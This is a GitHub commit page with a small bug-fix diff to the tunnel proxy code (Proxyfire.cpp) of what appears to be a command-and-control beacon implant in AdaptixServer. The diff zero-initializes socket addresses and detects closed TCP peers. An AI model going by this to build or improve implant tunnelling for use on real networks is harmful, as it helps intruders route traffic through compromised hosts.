Skip to content

Commit 4d9df92

Browse files
committed
fix
1 parent e712e0c commit 4d9df92

File tree

1 file changed

+11
-2
lines changed
  • AdaptixServer/extenders/beacon_agent/src_beacon/beacon

1 file changed

+11
-2
lines changed

AdaptixServer/extenders/beacon_agent/src_beacon/beacon/Proxyfire.cpp

Lines changed: 11 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -86,7 +86,7 @@ void Proxyfire::ConnectMessageTCP(ULONG channelId, ULONG type, CHAR* address, WO
8686
if (sock != -1) {
8787
hostent* host = ApiWin->gethostbyname(address);
8888
if (host) {
89-
sockaddr_in socketAddress;
89+
sockaddr_in socketAddress = { 0 };
9090
memcpy(&socketAddress.sin_addr, *(const void**)host->h_addr_list, host->h_length); //memmove
9191
socketAddress.sin_family = AF_INET;
9292
socketAddress.sin_port = _htons(port);
@@ -127,6 +127,7 @@ void Proxyfire::ConnectMessageTCP(ULONG channelId, ULONG type, CHAR* address, WO
127127

128128
if (sockError == 0) {
129129
this->AddProxyData(channelId, type, sock, 30000, TUNNEL_MODE_SEND_TCP, 0, 0, TUNNEL_STATE_CONNECT);
130+
return;
130131
}
131132
else {
132133
ApiWin->closesocket(sock);
@@ -161,7 +162,7 @@ void Proxyfire::ConnectMessageUDP(ULONG channelId, CHAR* address, WORD port, Pac
161162
if (host) {
162163
ULONG addr = 0;
163164
memcpy(&addr, *(const void**)host->h_addr_list, 4); //memmove
164-
sockaddr_in socketAddress;
165+
sockaddr_in socketAddress = { 0 };
165166
socketAddress.sin_family = AF_INET;
166167
if (ApiWin->bind(sock, (sockaddr*)&socketAddress, sizeof(socketAddress)) < 0) {
167168
u_long mode = 1;
@@ -417,6 +418,14 @@ ULONG Proxyfire::RecvProxy(Packer* packer)
417418
}
418419
MemFreeLocal(&buffer, dataLength);
419420
}
421+
else {
422+
char peekBuf[1];
423+
int peekResult = ApiWin->recv(tunnelData->sock, peekBuf, 1, MSG_PEEK);
424+
if (peekResult == 0) {
425+
tunnelData->state = TUNNEL_STATE_CLOSE;
426+
PackProxyStatus(packer, tunnelData->channelID, COMMAND_TUNNEL_START_TCP, tunnelData->type, TUNNEL_CREATE_ERROR);
427+
}
428+
}
420429
}
421430
}
422431
}

0 commit comments

Comments
 (0)